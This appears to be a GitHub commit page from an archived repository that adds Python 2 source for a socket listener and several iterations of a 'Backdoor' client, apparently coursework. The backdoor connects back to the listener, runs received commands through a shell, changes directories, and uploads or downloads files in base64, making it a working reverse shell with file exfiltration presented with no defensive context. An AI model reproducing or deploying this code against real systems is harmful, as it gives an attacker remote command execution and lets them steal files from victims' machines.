Skip to content
This repository was archived by the owner on Aug 24, 2023. It is now read-only.

Commit b033308

Browse files
author
root
committed
Update
1 parent bef354e commit b033308

File tree

9 files changed

+360
-19
lines changed

9 files changed

+360
-19
lines changed

15 listener_and_backdoor/listener.py

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import json
5+
import base64
6+
7+
8+
class Listener:
9+
10+
def __init__(self,ip,port):
11+
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
12+
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
13+
listener.bind((ip,port))
14+
listener.listen(0)
15+
print "[+] Waiting for Incoming Connection"
16+
self.connection,address = listener.accept()
17+
print "[+] Got a Connection from " + str(address)
18+
19+
def reliable_send(self,data):
20+
json_data = json.dumps(data)
21+
self.connection.send(json_data)
22+
23+
def reliable_receive(self):
24+
json_data = ""
25+
while True:
26+
try:
27+
json_data = json_data + self.connection.recv(1024)
28+
return json.loads(json_data)
29+
except ValueError:
30+
continue
31+
32+
def execute_remotely(self,command):
33+
self.reliable_send(command)
34+
if command[0] == "exit":
35+
self.connection.close()
36+
exit()
37+
38+
return self.reliable_receive()
39+
40+
def write_file(self,path,content):
41+
with open(path,"wb") as file:
42+
file.write(base64.b64decode(content))
43+
return "[+] Download Succesful"
44+
45+
def read_file(self,path):
46+
with open(path,"rb") as file:
47+
return base64.b64encode(file.read())
48+
49+
def run(self):
50+
51+
while True:
52+
command = raw_input(">> ")
53+
command = command.split(" ")
54+
55+
try:
56+
57+
if command[0] == "upload":
58+
file_content = self.read_file(command[1])
59+
command.append(file_content)
60+
61+
result = self.execute_remotely(command)
62+
63+
if command[0] == "download" and "[-] Error " not in result:
64+
result = self.write_file(command[1],result)
65+
66+
except Exception:
67+
result = "[-] Error during command execution"
68+
69+
print result
70+
71+
72+
my_listener = Listener("localhost",1234)
73+
my_listener.run()
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
5+
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
6+
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
7+
#options to reuse sockets
8+
listener.bind(("localhost",1234))
9+
listener.listen(0)
10+
print "[+] Waiting for Incoming Connection"
11+
#listen for connecion backlog is set to 0 don't need to woory about 0
12+
connection,address = listener.accept()
13+
print "[+] Got a Connection from " + str(address)
14+
15+
while True:
16+
command = raw_input(">> ")
17+
connection.send(command)
18+
result = connection.recv(1024)
19+
print result
20+
Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,22 @@
11
#!/usr/bin/python
2+
23
import socket
34

5+
46
class Listener:
7+
58
def __init__(self,ip,port):
69
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
710
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
11+
#options to reuse sockets
12+
#listener.bind(("localhost",1234))
813
listener.bind((ip,port))
914
listener.listen(0)
10-
print("[+] Waiting for incoming connection")
15+
print "[+] Waiting for Incoming Connection"
16+
#listen for connecion backlog is set to 0 don't need to wory about 0
1117
self.connection,address = listener.accept()
12-
print("[+]Got a connection"+str(address))
18+
print "[+] Got a Connection from " + str(address)
19+
1320

1421
def execute_remotely(self,command):
1522
self.connection.send(command)
@@ -19,10 +26,7 @@ def run(self):
1926
while True:
2027
command = raw_input(">> ")
2128
result = self.execute_remotely(command)
22-
print(result)
23-
24-
25-
my_listener=Listener("192.168.44.1",4444)
26-
my_listener.run()
27-
29+
print result
2830

31+
my_listener = Listener("localhost",1234)
32+
my_listener.run()
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import json
5+
import base64
6+
7+
8+
class Listener:
9+
10+
def __init__(self,ip,port):
11+
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
12+
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
13+
listener.bind((ip,port))
14+
listener.listen(0)
15+
print "[+] Waiting for Incoming Connection"
16+
self.connection,address = listener.accept()
17+
print "[+] Got a Connection from " + str(address)
18+
19+
def reliable_send(self,data):
20+
json_data = json.dumps(data)
21+
self.connection.send(json_data)
22+
23+
def reliable_receive(self):
24+
json_data = ""
25+
while True:
26+
try:
27+
json_data = json_data + self.connection.recv(1024)
28+
return json.loads(json_data)
29+
except ValueError:
30+
continue
31+
32+
def execute_remotely(self,command):
33+
self.reliable_send(command)
34+
if command[0] == "exit":
35+
self.connection.close()
36+
exit()
37+
38+
return self.reliable_receive()
39+
40+
def write_file(self,path,content):
41+
with open(path,"wb") as file:
42+
file.write(base64.b64decode(content))
43+
return "[+] Download Succesful"
44+
45+
def read_file(self,path):
46+
with open(path,"rb") as file:
47+
return base64.b64encode(file.read())
48+
49+
def run(self):
50+
while True:
51+
command = raw_input(">> ")
52+
command = command.split(" ")
53+
54+
try:
55+
56+
if command[0] == "upload":
57+
file_content = self.read_file(command[1])
58+
command.append(file_content)
59+
60+
result = self.execute_remotely(command)
61+
62+
if command[0] == "download" and "[-] Error " not in result:
63+
result = self.write_file(command[1],result)
64+
65+
except Exception:
66+
result = "[-] Error during command execution"
67+
print result
68+
my_listener = Listener("localhost",1234)
69+
my_listener.run()
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
import json
6+
import os
7+
import base64
8+
9+
class Backdoor:
10+
11+
def __init__(self,ip,port):
12+
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
13+
self.connection.connect(("localhost",1234))
14+
15+
def reliable_send(self,data):
16+
json_data = json.dumps(data)
17+
self.connection.send(json_data)
18+
19+
20+
def reliable_receive(self):
21+
json_data = ""
22+
while True:
23+
try:
24+
json_data = json_data + self.connection.recv(1024)
25+
return json.loads(json_data)
26+
except ValueError:
27+
continue
28+
29+
30+
def execute_system_commmand(self,command):
31+
return subprocess.check_output(command,shell=True)
32+
33+
34+
def change_working_directory_to(self,path):
35+
os.chdir(path)
36+
return "[+] Change working directory to " + path
37+
38+
def write_file(self,path,content):
39+
with open(path,"wb") as file:
40+
file.write(base64.b64decode(content))
41+
return "[+] Upload Succesful"
42+
43+
def read_file(self,path):
44+
with open(path,"rb") as file:
45+
return base64.b64encode(file.read())
46+
47+
def run(self):
48+
while True:
49+
command = self.reliable_receive()
50+
51+
try:
52+
if command[0] == "exit":
53+
self.connection.close()
54+
exit()
55+
elif command[0] == "cd" and len(command) > 1:
56+
command_result = self.change_working_directory_to(command[1])
57+
elif command[0] == "download":
58+
command_result = self.read_file(command[1])
59+
elif command[0] == "upload":
60+
command_result = self.write_file(command[1],command[2])
61+
62+
else:
63+
command_result = self.execute_system_commmand(command)
64+
65+
except Exception:
66+
command_result = "[-] Error during command Execution"
67+
68+
self.reliable_send(command_result)
69+
70+
71+
my_backdoor = Backdoor("localhost",1234)
72+
my_backdoor.run()
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
6+
7+
def execute_system_commmand(command):
8+
return subprocess.check_output(command,shell=True)
9+
10+
connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
11+
connection.connect(("localhost",1234))
12+
13+
#connection.send("[+]Connection Estabilshed.\n")
14+
15+
while True:
16+
command = connection.recv(1024)
17+
command_result = execute_system_commmand(command)
18+
connection.send(command_result)
19+
20+
connection.close()
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
6+
class Backdoor:
7+
8+
def __init__(self,ip,port):
9+
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
10+
self.connection.connect(("localhost",1234))
11+
12+
def execute_system_commmand(self,command):
13+
return subprocess.check_output(command,shell=True)
14+
15+
def run(self):
16+
while True:
17+
command = self.connection.recv(1024)
18+
command_result = self.execute_system_commmand(command)
19+
self.connection.send(command_result)
20+
21+
connection.close()
22+
23+
my_backdoor = Backdoor("localhost",1234)
24+
my_backdoor.run()
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
import json
6+
import os
7+
import base64
8+
9+
class Backdoor:
10+
11+
def __init__(self,ip,port):
12+
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
13+
self.connection.connect(("localhost",1234))
14+
15+
def reliable_send(self,data):
16+
json_data = json.dumps(data)
17+
self.connection.send(json_data)
18+
19+
20+
def reliable_receive(self):
21+
json_data = ""
22+
while True:
23+
try:
24+
json_data = json_data + self.connection.recv(1024)
25+
return json.loads(json_data)
26+
except ValueError:
27+
continue
28+
29+
30+
def execute_system_commmand(self,command):
31+
return subprocess.check_output(command,shell=True)
32+
33+
34+
def change_working_directory_to(self,path):
35+
os.chdir(path)
36+
return "[+] Change working directory to " + path
37+
38+
def write_file(self,path,content):
39+
with open(path,"wb") as file:
40+
file.write(base64.b64decode(content))
41+
return "[+] Upload Succesful"
42+
43+
def read_file(self,path):
44+
with open(path,"rb") as file:
45+
return base64.b64encode(file.read())
46+
47+
def run(self):
48+
while True:
49+
command = self.reliable_receive()
50+
51+
try:
52+
if command[0] == "exit":
53+
self.connection.close()
54+
exit()
55+
elif command[0] == "cd" and len(command) > 1:
56+
command_result = self.change_working_directory_to(command[1])
57+
elif command[0] == "download":
58+
command_result = self.read_file(command[1])
59+
elif command[0] == "upload":
60+
command_result = self.write_file(command[1],command[2])
61+
62+
else:
63+
command_result = self.execute_system_commmand(command)
64+
65+
except Exception:
66+
command_result = "[-] Error during command Execution"
67+
self.reliable_send(command_result)
68+
69+
my_backdoor = Backdoor("localhost",1234)
70+
my_backdoor.run()

0 commit comments

Comments
 (0)